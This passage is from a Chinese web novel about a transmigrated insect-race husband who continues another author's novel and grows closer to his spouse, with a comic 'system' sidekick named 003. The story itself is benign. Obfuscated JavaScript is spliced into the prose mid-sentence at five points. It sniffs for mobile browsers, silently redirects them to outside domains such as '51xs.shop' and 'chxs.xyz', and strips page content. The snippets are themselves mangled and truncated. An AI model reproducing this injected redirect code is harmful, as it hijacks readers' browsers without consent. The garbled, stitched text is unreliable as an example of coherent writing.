短短的十几分钟里,差评又增加了不少,与之相对的,是他的后台收益也增加了不少。 朗焰一边皱着眉头道:“003,你平时反正也没事,就在后台给我删删差评吧。” 003:【宿主大大,我刚刚查过了,付费差评是删不掉的,除非内容里有辱骂的部分。】 朗焰道:“那你就给我用好评压一压评论,不然我这文一打开就是满屏的差评,也太赶新读者了。” 003:【没问题宿主,我给您个友情价,一天一点虐心值就够啦。】 朗焰惊呆了:“就这还收虐心值?你怎么不去抢?” 003:【宿主大大,我是虐心系统,没有虐心值怎么干活呀。】 朗焰冷笑一声:“不给,没钱,我宁可看差评也不会给你虐心值的。” 003:【……】 22.吃个饭都能虐心? 签约成功的朗焰雄赳赳气昂昂地从房间里走了出来。 荣魇正站在餐桌前等他。 雄主撸猫撸到一半突然离开了,这么异常的情况,无论桌上的美食有多美味,他这饭也是怎么也没法继续吃下去了。 短短的十几分钟里,荣魇的心里闪过无数不算太好的猜测,而在他最差的一种设想里,雄主的疯病突然好了,接下来又会变回曾经的模样,不仅要收回这段时间给他的特权,还会做出比之前更加恶劣的事…… “我刚才有点急事,所以走开了一下,现在我处理好了。” 朗焰的眉目中满是笑意,他一边解释着他刚才的怪异行为,一边把六六从荣魇臂弯里抱出来,搂进自己的怀里。 六六委委屈屈地把脑袋埋进朗焰胸口蹭蹭,软软的长白毛扫在朗焰脖子上,痒得他哈哈大笑。 大量的治愈因子从朗焰身上溢出,仿佛长了眼睛似的往六六身体里挤。 荣魇顿时松了一口气。 嘴会说谎,但治愈因子不会说谎。 ——雄主的疯病不仅没有好,看上去还更严重了。 荣魇一边被迫吸收过量的治愈因子,一边缓缓坐回了餐桌上。 “还好天气不算冷,菜还没凉。” 朗焰也跟着在餐桌前坐下,唠家常似地聊道: “对了,最近在军团过得怎么样?有没有虫欺负你?” 荣魇摇摇头:“军团里都是认识的虫,大家对我都很好,不会欺负我。” 雌虫之间也有等级,像他这样少见的体质精神力双3S级的雌虫,就算被二十只A级雌虫围攻,也能轻易脱困。 就算把他锁在没有虫会路过的废弃仓库里,他也分分钟就能把整扇门都给卸下来。 高阶雌虫是宇宙级的战斗兵器,想要为难他,并不算是一件容易的事。 他回到军团后,现任的代理团长诺茨一次都没来找过他,反而是他好几次看不下去军团的懒散习惯,责骂了不少虫。 如今的他说是今非昔比也不为过,拜访过他家里的虫回去稍一宣传,整个军团上上下下都知道他的雄主对他非常满意,也非常愿意支持他的工作。 他曾经的身份、他雄主曾经的身份、他们之间的关系……无数暧昧的因素牵连下,皇室安插在军团的那些虫每一天都如坐针毡。 他们既看不起他,又害怕他。 理论上,他们知道经受过巨大磨难的他很难再掀起风浪,但是,他那标志性的白发和3S的精神力,又让他们担心奇迹的出现。 诺茨大概率存着冷处理他的想法,希望能降低他的存在感,让军团成员们都无视他。 但是,作为军团长,诺茨不管是基础素质还是自身的决策力都非常一般,他甚至从未上过宇宙战场,也没有直面过异兽入侵,完全就是个纸上谈兵的长官。 除了那些同样来自皇族的军团成员外,军团里有不少军雌不愿意听从他的指挥。 他们更愿意也更想要跟随的,自然是他们原本的军团长,荣魇。 皇室与军团的争权与敌对,让荣魇不禁嗅到了和自己被陷害的那一次相同的气息。 如果能遇到像当初那样的导火线,说不定又要发生第二次内部大战。 上一次,他败得体无完肤,但这一次……又如何呢? 朗焰满脸无所谓地说道:“没虫欺负你就好,你好好干,压力不用太大,能干就干,不能干也别委屈自己,换个工作就是了。” 荣魇:“好。” 雄主的态度,其实也在很大程度上决定了他在军团的地位。 一只精神海损伤严重的雌虫,即使是3S级的,也不足为惧。 但是,一只备受雄主宠爱的雌虫呢? 如果雄虫真的爱一只雌虫,愿意为他提供最高浓度的治愈因子,那么,别说精神海破碎了,就算是精神海已经崩塌了,都有可能奇迹般地治愈。 朗焰继续说道:“钱少点没事,我会养你的,主要还是得自己过得舒心,别的都是假的。” 荣魇:“……好。” 在这一点上,他怎么都想不明白雄主是哪里来的自信。 对于家里的收支情况,他心里门清。 他清楚地知道,他的雄主不仅一点进账都没有,甚至还欠着不少外债。 那些外债要不了多少时间就会超过还款日期,催债虫会带着各种协议上门,到时候也不知道雄主准备怎么办。 他现在的工资完全是死工资,数额非常少,也不足以填补外债的天坑。 除非雄主立刻去娶个三五个雌侍或者雌奴,才有办法偿还那些外债。 一想到那种可能性,荣魇的心不禁抽了抽。 他觉得自己的想法不仅荒唐,甚至称得上冒犯,但他就是无法抑制地那么想—— 他不想和其他的虫分享雄主。 雄主那么好,任何雌虫都配不上他。 当然,他自己也是。 “干嘛,怎么不吃了?” 朗焰好笑地抓着六六的一只爪爪去戳荣魇的额头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014587|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “想什么呢,这么入神,吃着饭都能发呆?” 荣魇回过神来,漂亮的蓝眼睛垂下,雪白又纤长的睫毛像大白蛾子一样扑棱两下,没有说话,但神情看上去有点委屈。 朗焰看呆了:“你吃个饭还能吃得不开心?” 荣魇解释道:“没,没有,我就是……” 朗焰:“什么?” 荣魇:“没什么。” 朗焰:“?” 003:【恭喜宿主大大!虐心值上涨5点!】 朗焰:“!” 眼看荣魇低下头缩回座位上,似乎想要把这一遭糊弄过去,朗焰顿时急了。 手忙脚乱之下,他一个手滑—— 把六六丢到了荣魇脸上。 六六:“?” 荣魇:“……” 一虫一猫的脸上,是如出一辙的无辜与茫然。 朗焰急道:“说清楚,不然不许吃了。” 荣魇咬咬牙,干脆托了一把六六的屁股,用六六把自己的脸盖上了。 接着,他仗着雄主看不清他的表情,囫囵地说道:“我只是觉得,雄主您可能需要娶一些雌侍……” 话还没说完,荣魇就又把六六往上举了一点,把整张脸完全挡住,似乎想要通过这种途径来拒绝接收雄主的答案。 朗焰怎么都想不到荣魇居然在担心这个,他想要去看荣魇的神色,却发现荣魇完全被六六挡住了,而这只六六还是他自己丢到荣魇脸上去的。 ——什么叫搬起石头砸自己的脚啊。 朗焰试图把六六抢回来,可惜他实在是没法在力量上和荣魇抗衡,没办法,他只能隔着六六对荣魇承诺道: “你想多了,我这一辈子都只会有你这一只雌虫。” “我们是天生一对,除了你以外,我不会看上其他任何虫。” 这话,朗焰说得真心实意。 且不说他并不认为会有其他雌虫看上他这么个废物雄虫,说到底,他是一个直男,他根本不会看上长得和男人一样的雌虫。 至于荣魇…… 他只能说,如果说非要在全虫星的范围里选出一只他最喜欢的虫,那他一定会选荣魇。 得到了意料之外但又无比令他满意的答案后,荣魇依然不肯放下六六。 如果是刚才只是一时兴起,那么现在,他是真的无论如何都不能放下六六了。 他的脸颊像被烫伤了一样涨得难受,他实在不想被雄主看见自己现在的模样…… 六六:“喵?” 23.不离不弃的小恶魔 “对、对不起雄主,您能不能让我自己想一想……” 荣魇支支吾吾地说道,手上一点都不肯松开六六。 “行,你慢慢想。” 朗焰很好说话地起身走进厨房里,把之前就准备好的最后一个菜给做了出来。 那是一道海鲜炒饭,算是他的拿手绝活,必须要现炒的才好吃。 等到朗焰炒完了饭,端着两个碗出来的时候,荣魇终于和六六分开了。 六六蹲在椅子上喵喵呜呜的,听上去骂得很脏。 荣魇垂着头也不说话,仿佛在反思什么。 朗焰把炒饭递给荣魇,随后又变戏法一般取出一碗海鲜炒海鲜,讨好地放在六六眼前。 六六蹭蹭朗焰的手脖子,随后对着自己的猫碗大快朵颐了起来。 朗焰一边抚摸六六的后背以示安慰,一边思索着荣魇刚才那奇怪的举动。 荣魇担心他娶别的虫,这是不是说明,荣魇已经察觉到了他的改变,短时间内不会再提出要和他离婚了? 想到这里,朗焰顿时高兴了不少。 从他穿越的第一天起,他每天都在担心荣魇会再次提出离婚的事。 离婚这个词对他的杀伤力太大了,这就是为什么那天诺茨提到离婚的时候,他的反应会那么大。 ——问就是心虚。 他也知道,原主做的畜生事,他不管做什么都偿还不上。 如果荣魇坚定不移地提出离婚,次数多了,即使是天生渣男圣体的他也实在是没法昧着良心拒绝。 他打心底里认为荣魇离开他后会过得更好,甚至会好很多。 他一直一来都抱着这种愧疚和亏欠的心态,平日里别说收集荣魇的虐心值了,甚至恨不得让荣魇反过来收集他的虐心值。 但是现在,情况发生了变化,他终于偿还上了一些原主的罪过,让荣魇察觉到了他的改变,放弃了和他离婚的想法。 从今往后面对荣魇的时候,他总算是可以不用再绷着一口上不来下不去的气了。 …… 第二天早上,朗焰一大清早就抱着手环不撒手,就连荣魇什么时候出门的都没留意到。 荣魇走的时候特地瞄了朗焰一眼,发现自家雄主正端坐在餐桌前,神色严肃地盯着手环看。 平时,他的雄主会殷勤地送他出门,并且在他即将离开的时候祈求他把六六留下来陪他。 在得到他坚定不移的拒绝后,雄主会做出一副被辜负了的可怜样,委屈巴巴地目送他离开。 一开始的几次,荣魇还会因此而良心不安一整天。 但是次数多了,他也就习惯了雄主的套路,练就了一番绝不动摇的铁石心肠。 在这一点上,他还挺敬佩他的雄主的毅力的。 ——明知道会被拒绝,但就是要在每天早上上演一次一模一样的剧情,也不知道图的什么。 今天雄主没有这么做,难道是……终于放弃了? 荣魇满心困惑地出了门。 荣魇不知道的是,今天对于他的雄主而言,是一个非常、非常重要的日子。 他的雄主写的小说《日记》,今天就要上架了。 第一本书的第一次上架,对于任何一个作者而言,都是至关重要的时刻。 由于朗焰是续写,前文的字数已经足够高了,所以他只需要免费发文八千字后,就能申请上架。 今天就是他上架的第一天,也就是他的文开始收费的第一天。 而这,仅仅是他开始写作的第二天。 由于他签的是分成合同,所以他没有按照字数计算的保底费,所有的收益全都得靠读者订阅来获得。 网文界有句话叫,上架见真章。 很多原本数据不错的文,在上架前确实有很多读者观看,但是一上架,读者小天使们就纷纷抛弃了这本文,投向了其他文的怀抱。 而朗焰这些读者……其存在本身就足够令朗焰担忧。 说是小天使,都辱没了小天使这个词。 哪会有追着他更新骂的小天使啊? 更一章骂一章,还全都是熟悉的ID,弃文率又低得可怕,甚至出现了点击倒挂的奇迹。 他最新章的点击,比他第一章还多。 这种异常的现象,朗焰两辈子加起来都没见过。 别说见了,他就连听说都没听说过。 作为一个其实很有经验的网文作者,朗焰本以为自己可以根据数据来判断一本书未来的走向。 但是这本书,朗焰实在是无能为力。 无法预测的命运之书啊,究竟如何,就让他来看看吧! 书虫网的收益一天更新五次,分别是早上十点,十二点,下午三点,七点和晚上十点。 朗焰是昨天晚上开的收费,由于他手上完全没有存稿,所以他只象征性地更了六千字的v章。 虽然字数少,但内容足够劲爆。 主角被雌君带去就医后,却发现之前的绝症完全是他的误解。 没错,甚至不是误诊,而是误解。 体检报告中只是写了基因问题的存在,并不是说他得了基因病。 后续的买药之类的,完全是主角自己在瞎搞。 他买来的药也不是什么对疾病有效的药物,就是一种雄虫常吃的安慰剂,用途是补充营养,没有任何副作用,吃多吃少只会影响下一顿饭的食量,如果不说是药的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019664|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,也可以直接称其为营养片。 凡是遇到雄虫来自己来买药,又说不清到底是什么用途的,药师都会为其开具这种药。 朗焰觉得自己的写法非常合乎逻辑,完全符合虫族社会对于雄虫智商低的刻板印象。 而在真相暴露后,主角才意识到自己过去对雌君和虫崽的做法,是多么过分、多么愚蠢、多么自以为是。 他崩溃又绝望地想,自己或许这一辈子都不可能再取得他们的原谅了…… 写到这里,本章就结束了。 朗焰当过作家,知道怎么留钩子。 他自我感觉写得没什么太大问题,但是结果怎么样,他心里真的没数。 这么惴惴不安的感觉,他上辈子写真正意义上的人生第一本书的时候,都未曾有过。 等到十点整,朗焰深吸一口气,点开后台数据。 到底怎么样,就让他来看看吧! “我靠……” 后台数据刷新出来的瞬间,朗焰整个人都惊呆了。 有那么一瞬间,他甚至怀疑自己看错了。 要么是看错了收益,要么是看错了时间。 网站在新文上架的当天中午十二点开始,会有一波上架榜单的曝光,榜单持续一天,直到第二天的中午十二点,榜单位置则完全根据文的收益来,收益越高,排在越前面,曝光也就越好。 一般的小说早在几万字的时候就已经上过这个榜了,也就没有后续的事了,但朗焰的运气很好,这本烂尾文之前不知道为什么一直没有上架,白白把这么个大赚特赚的机会让给了他。 大部分的新文都是直到上榜后,才会有勉强看得过去的订阅收益。 但朗焰这本文……在上榜前,居然已经有了三百星币的纯订阅。 朗焰也算是在虫族的网文论坛里混了一段时间了。 三百订阅的收益,足以把他推上今天榜单的榜首了。 抱着不可置信又有一丝庆幸的想法,朗焰点开了他的评论区。 收益既然这么好,想必评论区也回暖了吧。 免费文挨骂很正常,白嫖党嘛,素质都不高,但是上架的付费虫们肯定都是大方又素质好的小天使读者,都付钱了,肯定不会再骂了。 满怀期待的朗焰,看向了他文下的评论—— 【作者别写了,再写要进去了】 【雄虫还愧疚?疯了吧】 【这位雌君是吃干饭的吧】 【改编不是胡编,戏说不是胡说】 【作者到底是在写文,还是在自首啊】 朗焰:“……” 这些嘴里不饶人的小恶魔们,在他上架后,居然依然对他不离不弃! 24.热搜第一 《日记》的评论区已经完全不能看了。 但与之相对的,是朗焰的后台收益非常好看。 如果要问朗焰在收益和口碑里选哪个,那朗焰无疑还是想选收益的。 虽然朗焰怎么都想不明白,为什么一本评价如此恶劣的文,能有这么高的收益。 但是赚钱这件事,永远都是令人高兴的。 现在还只是十点,要是等到十二点上榜,这个数据将更加可怕…… 朗焰一想到这本文的未来,就浑身发抖。 又紧张,又激动。 还有些小小的害怕。 最后的两个小时不是一般难熬。 朗焰一会儿在客厅里惴惴不安地踱步,一会儿在星网上下单了他之前看上的机械键盘,一会儿又在虚空键盘上码起了字。 度日如年般的两个小时过后,终于,时间到了十二点。 在榜单第一位上刷到自己的文时,朗焰整个人都笑开了花。 这可以是一本续写的小说啊。 在整个书虫网的历史上,恐怕都没有出现过续写的小说登顶的历史吧。 随着文章上榜,巨大的曝光量下,评论区总算是出现了骂声以外的声音。 虽然恶评依然还是占据绝大部分,但是总算不全是恶评了。 这何尝不是一种进步呢? “发财了发财了。” 看着后台不断暴涨的收益,朗焰高兴地在床上打滚。 003感慨道:【宿主大大您的虐心值要是能像您的小说收益这样涨,那就好了。】 朗焰翻了个白眼:“你能不能不要老是哪壶不开提哪壶?我这正高兴着呢,你就给我泼冷水。” 003弱弱地说道:【我只是实话实话嘛。】 朗焰摆摆手道:“我今天心情好,懒得和你计较。” 003劝道:【宿主大大,虐心值您真得想想办法了,最近荣魇的虐心值是一点都不涨,您难道想要一辈子都做养胃虫嘛!】 朗焰道:“你要是有实体,现在已经在挨揍了。” 003:【……】 “你说的事我也知道,我也不是没想过。” 朗焰抱着手环靠到床沿上,做出一副沉思状: “最近我一直在考虑虐心值的问题,有好几次,我都觉得荣魇‘应该’要涨虐心值了,但他每次都不涨,这肯定是有问题的。” “我想来想去,主要还是因为荣魇的虐点太高了,不管我怎么侮辱他、欺负他、凶他,他都不觉得这是一种虐。” 003急得原地打转:【那我们该怎么办啊?】 朗焰道:“我前两天又看了几篇论文,我想到了一个办法——努力赚钱,然后花钱给荣魇买各种他想要的东西,尤其是奢侈品之类的,让他习惯我会给他花钱这件事,这样的话,等到哪天我突然不给他买了,他就会不习惯,这样他的虐心值就会自动涨了。” 003:【宿主大大您说的好有道理啊,我觉得这回一定能成!】 朗焰骄傲道:“那是当然的,你也不看看我是谁,我的想法怎么会错呢,现在万事俱备只欠东风,就看这本文能给我带来多少收益了。” 003:【要是钱不够的话,您也可以用虐心值兑换星币,一个虐心值可以兑换一万星币呢。】 朗焰高深莫测地勾起嘴角,自信地说道:“用不着,我有预感,这本小说会爆火,到时候,它能赚到我们现在都不敢想象的钱。” 就如朗焰想的那样,时隔三年半,《日记》再一次爆火了。 而这一次爆火的程度,甚至远远超过了三年半以前。 当天晚上,#《日记》续写#的话题冲上了热搜,斩获热搜第一的位置。 热搜下的帖子里,就和朗焰的评论区一样,绝大部分是骂声,只有极少数是帮忙说话的。 【这剧情一点都不现实,我就等着看什么时候下架】 【早晚惊动原作者,等着吧】 【文笔不错,但也只有文笔不错】 【真服了大哥们,嘴上说着举报,其实按的都是催更】 【我活了一辈子都没见过这种设定】 【雄虫怎么可能爱雌虫到这个地步,宁可雌虫怨恨自己都不希望他悲伤,太假了】 【我不想他下架,我想继续看,我只担心原作者不同意这么改】 【作者能不能日万啊,才这么点怎么看啊】 评论区如过年般热闹的同时,原作者的身份时隔数年,再次被翻了出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024138|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实朗焰一开始的想法一点错都没有,《日记》的文笔和剧情设置确实都不行。 三年半以前,《日记》之所以能爆火,仅仅只是因为它的作者,是一只雄虫。 没错,《日记》就如标题一样,是一本由雄虫撰写的、真实的、写事向的——日记。 这样一本在三年前就爆火的小说之所以不上架收费,也正是因为雄虫写的小说根本就不能上架,这才让朗焰捞了个大便宜。 …… 朗焰万万没想到,自己的暴富梦只做了一个晚上,就要迎来破灭了。 第二天一早,朗焰刚刚起床,就收到了编辑的消息。 编辑告诉他,《日记》的原作者希望和他见上一面,聊一聊。 收到消息的朗焰心中警铃大作。 原作者要和续写作者见面,这怎么看都不是好事啊。 大部分的烂尾文都是因为原作者处于失联状态所以才烂尾的,朗焰是怎么也没想到,编辑居然会给他一本能联系上原作者的文。 这不是多此一举吗,既然能联系上原作者,为什么不直接劝原作者继续写啊! 听闻朗焰拒绝和原作者沟通的想法,编辑非常惊讶。 编辑澜业:什么,你不想和原作者见面? 编辑澜业:那可是雄虫啊! 月火:…… 雄虫怎么了,雄虫就有特权吗? 他自己还是雄虫呢。 而且,就是因为他是雄虫,所以才不能见面。 见面了掉马了可怎么办,他可是好不容易才开了个马甲在线上写文赚钱的。 月火:我这有特殊原因,真的不能见面,实在不行我们线上聊? 编辑澜业:我去和雄虫阁下沟通一下,到底怎么到时候再通知你。 编辑澜业:但是我得提前告诉你一声,如果雄虫阁下对你的续写不满意,你肯定不能继续写下去了。 朗焰还来不及消化编辑的这段话,就收到了对方发来的一个文件。 编辑澜业:这是我手上的其他烂尾文,你挑一挑有没有喜欢的,就当提前为下一本做准备吧。 月火:……嘤 他好不容易才爆火的发财树啊!难道就要这么没了吗! 25.这一口亲下去 “是吗,他不愿意见面……” “没关系,不用,嗯,让他继续写吧。” “告诉他一声,我很喜欢他的续写。” 雄虫放下手环,往后一倒,正好陷进吊椅里。 他的眼下是因为长期失眠而浓郁到无法消退的黑眼圈,黑棕色的发丝干枯分叉,像是在脑袋上顶着一团枯草,他的皮肤因为常年关在房间里不见太阳而苍白到病态,手腕细到一折就断,青紫色的筋脉像藤蔓一样爬满雪白的手臂,仿佛随时都要破土而出一般。 他是《日记》的原作者,川源。 他的房间里种满绿植,每一株都经过他精心的打理,叶子鲜绿,花朵娇艳,充满生机。 但他自己却病态到可怕。 十二点一到,冰凉的系统音准时在耳畔响起: 【尊敬的宿主,已自动扣除您十点虐心值,并为您兑换24小时生命,您的虐心值剩余3点。】 川源缓缓地叹了口气,心道又活过了一天。 当他意外发现只要自己闭门不出,雌君的虐心值每天都会上涨十点的时候,他整个人都高兴坏了。 高兴的同时,又不免满心悲哀。 高兴自己终于不用为了那点虐心值去做违背良心的事,悲哀自己那一团迷雾般的未来。 从大约四年前开始,他就闭门不出了,再之后,就连《日记》都不写了。 需要的东西全都送到门口,他的房间除了他自己以外没有其他虫可以踏入。 他原本以为自己这辈子都不会再走出房门一步,但是现在,他似乎抓到了一丝希望。 一丝微弱的,光。 “001,用剩下的虐心替我换一张体检单,就放在我的桌上……” 川源低声喃喃着,渐渐地没了声音。 他睡着了。 …… 朗焰惴惴不安地等到了十二点,手环上传来了消息。 他又惊又怕地看了一眼,还好,只是后台提示的下榜消息而已。 在这短短的二十四小时里,他的后台收益达到了三万星币。 这个数字远远超乎了朗焰的想象,也让他对这本书的未来充满希望。 如果能以这样的结果继续走接下来的榜单,最后的成绩一定好到出乎意料。 但……原作者的捉摸不透的态度令朗焰无比惶恐。 他总觉得下一秒就会收到编辑的消息,告诉他原作者要求更换续写作者。 虽然朗焰自认为自己的续写一点问题都没有,甚至比原著还合理很多,但是,那可是能写出原作的原作者啊,他的脑回路一定就和原著一样清奇吧?恐怕他压根就没办法理解正常人的思想吧? 朗焰在心中担惊受怕了一整天,都没有等到编辑的消息。 一直等到了晚饭前,眼瞅着编辑可能都快下班了,朗焰实在是等不下去了,于是主动敲了编辑。 不管结果怎么样,总归给他一个准信吧,这样一直吊着他算是什么意思? 消息发放出去后,朗焰更害怕了,生怕下一秒就收到最差的一种结果。 然而—— 编辑澜业:恭喜你啊,原作者说你写得很好 编辑澜业:我们刚才就在开会讨论你这本书,刚刚开完会,我正准备通知你结果呢,你正好来问 朗焰瞪大了眼睛,简直不敢相信自己看见的。 月火:真的啊? 月火:那我就能继续写了? 编辑澜业:是啊,我们也很意外,没想到雄虫这么好说话 编辑澜业:这只雄虫实在是太好了,可惜加不上他的私虫号,唉 月火:…… 编辑澜业:对了,昨天给你看的烂尾文你看得怎么样了,有感兴趣想续写的吗? 月火:不是能继续写这本了嘛,那我就不看其他的了呗 编辑澜业:你还是看看吧,这本书的情况太特别了,随时都会出现意外,不如直接写版权在网站手里的书,你觉得呢? 月火:我想想吧,要是有想法我再和大大沟通 编辑澜业:ok 放下手环的朗焰满脸都是不可置信:“还有这种好事……” 003:【恭喜宿主大大,真不愧是宿主大大!】 被系统这么一夸,刚刚绝处逢生的朗焰顿时又自信了起来:“那是,也不看看我是谁。” 003非常给面子地在他的小光球上显示出三个数字——666。 朗焰正准备再吹嘘一下呢,突然听见了细微的开门声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14027597|147761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “糟了,荣魇回来了。” 他一个翻身从床上爬了起来,飞快地朝着门口跑去。 003不解地问道:【他回来就回来嘛,有什么糟了的呀?】 朗焰火急火燎道:“我忘了做晚饭!” …… 荣魇推开房门,视线下意识地朝着餐厅和厨房的方向瞥去。 厨房里安安静静,雄主没有像往常那样在厨房忙碌。 餐桌冷冷清清,桌上什么都没有。 荣魇缓缓地吐出一口浊气。 从昨天早上开始,他就觉得雄主不对劲了。 虽然对大部分的雌虫而言,雄虫每天为雌虫做晚饭才是不正常的情况,但他家这只……比较特别。 特别到不能用常理来揣测。 所以,究竟发生了什么,才让雄主变得这么不对劲呢。 是他哪里做错了,还是……雄主的病快好了? 荣魇正胡思乱想呢,视线的余光突然捕捉到了一道像风一样身影,嗖的一下从二楼冲了下来。 那速度对于雄虫而言简直称得上惊悚。 荣魇的声音都变调了:“雄主!?” 他要是没看错的话,雄主刚才是两级台阶一蹦,双腿交替着跑下来的? 虫神在上,这这这……这也太危险了吧! 只要有一个不小心,他可能就要永远失去他的雄主了! “对不起对不起,我今天有事,不小心就到了这个点了,你饿了吗?” 朗焰好不容易才在荣魇面前刹住车,没撞到荣魇身上去。 他刚刚才得到编辑的好消息,心中的喜悦正值巅峰,正好又看见了荣魇那张即使呆愣愣的时候依然好看到惊人的帅脸。 这一瞬间,他不知什么的,一下子没忍住心中强烈的兴奋,不由自主地对着荣魇的侧脸亲了一口。 这一口下去,一人一虫都呆住了。 荣魇本来就有点愣住的意思,这下更是彻底不会动了。 至于朗焰……他怎么也没想到自己居然会做出这样的举动。 原本因为兴奋而出现在脸上的红晕迅速地褪了下去,但立刻又泛了上来。 “我我我这就去做饭!” 朗焰一溜烟地跑了。 26.恋爱新手是这样的 由于时间不够做大餐,朗焰只简单地下了两碗面。 用昨天晚上剩下的一些牛肉熬出汤头,撒上一把新鲜的葱花,最后各自打上一个流心蛋。 两碗面出锅的时候,朗焰思索了一秒,随后用筷子把自己碗里的蛋也夹到了荣魇的碗里。 半分钟后,荣魇看着两碗被差别待遇的面条,陷入了沉默。 起码有一件事可以确定,那就是雄主的疯病不仅没有好,甚至有可能更加严重了…… 朗焰也不敢看荣魇,低头狂吃自己那碗面条。 没吃几口,就听见耳边传来一声长长的叹气声。 接着,荣魇那低沉又富有磁性的声音响了起来: “雄主。” 朗焰紧张地抬起头:“我、我刚才就是不小心的……” 他的面前出现了一只煎蛋。 荣魇将自己的两只煎蛋,还了一只给他。 “我没动筷子,是干净的。” “哦、哦……” 朗焰迅速夹过煎蛋,塞进嘴里三两口就吞了下去。 接着,他继续低头吃面。 只是吃面的速度明显放缓了不少。 003:【宿主大大,告诉您一个不幸的消息,刚刚涨上来的虐心值又掉了,没有来得及说话,1555551~】 朗焰:【嗯。】 003:【宿主大大您今天怎么这么好说话,平时虐心值掉的时候您都会骂我是废物系统的……啊啊啊宿主大大您的心跳怎么200了,是不是面里有毒啊!】 朗焰:【闭嘴,废物系统。】 003:【收到。】 这一顿晚餐,是朗焰穿越至今吃得最痛苦的一顿晚餐。 痛苦程度甚至不亚于他第一次吃荣魇亲手做的黑暗料理。 吃面途中,朗焰无数次反思为什么自己要下那么多面条,太多了,太多了,根本吃不完,咽都咽不下去。 面条泡了水涨起来,堵得喉咙又涨又酸,吞咽困难。 没错,是面条的问题,一定是面条的问题,绝对不是心跳太快导致喉咙口充血! 绝对不是! 朗焰艰难地吃完了面,小心翼翼地把碗放到桌上,想要悄悄走人。 然而—— “雄主。” 早就吃完了面的荣魇怎么会漏过朗焰的动作。 他一直都在等雄主吃完。 等了好久,终于等到了。 因为自己太过迟钝而没能及时说出口的话,现在可以说了。 荣魇一点都不遮掩,直白、直接又热烈地说出了心中所想: “雄主,您刚才亲我,我很高兴。” “……” 朗焰的喉咙口疯狂蠕动了一会儿,过了许久,才缓缓说道: “你、你高兴就好。” …… 朗焰迷迷糊糊地走回房间,啪叽一下摔进床铺里。 埋脸埋了五秒后,他突然发出一声绝望的吼叫: “我刚才都说了什么,啊啊啊我真是疯了,我应该道歉的,但我的脑子不知道为什么一点都不转……” 003飘了过来:【脑子不转是正常的,宿主大大。】 朗焰抬起头来:“为什么?” 003:【因为您刚才心跳250了,大脑过热,转不过来啊!】 朗焰:“……” 朗焰:“真有跳这么快?” 003认真道:【我是系统,我不会算错。】 朗焰顿时垮了一张脸,唉声叹气道:“我刚才的反应一定蠢透了。” 003:【没有啦,宿主大大,您想多了啦。】 朗焰在床上打滚:“我不要你觉得没有,我要荣魇觉得没有!” 003:【那您去问他嘛。】 朗焰转过头:“你不懂,你只是个没有感情的系统。” 003:【……】 确实,人类的情感实在是太复杂了,即使是他这样经过三代改良的系统依然无法理解。 朗焰突然坐了起来,打开手环,登录作家后台查看起了收益。 小光球凑了过去,一起看了起来。 朗焰研究了一会儿,又唉声叹气了起来:“怎么还有二十天才到提现日啊。” 003:【您很需要钱吗,宿主大大?】 朗焰道:“需要啊,我还等着钱给荣魇买礼物呢!” 他之前也不是没想过直接用原主的钱给荣魇买东西,然而,他继承的原主账户上一共只有三千星币,光用来吃饭都捉襟见肘,真不知道在他没穿来之前,原主都是靠什么过活的。 003感动道:【哇哦,原来宿主大大您一直想着买礼物刷虐心值的计划呀,您真是太好啦!】 朗焰顿时一噎。 003说的“买礼物刷虐心值”,他确实想起来了,是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14033212|147761||http|test|mini|href|location''.split(''|''),0,{})); () { 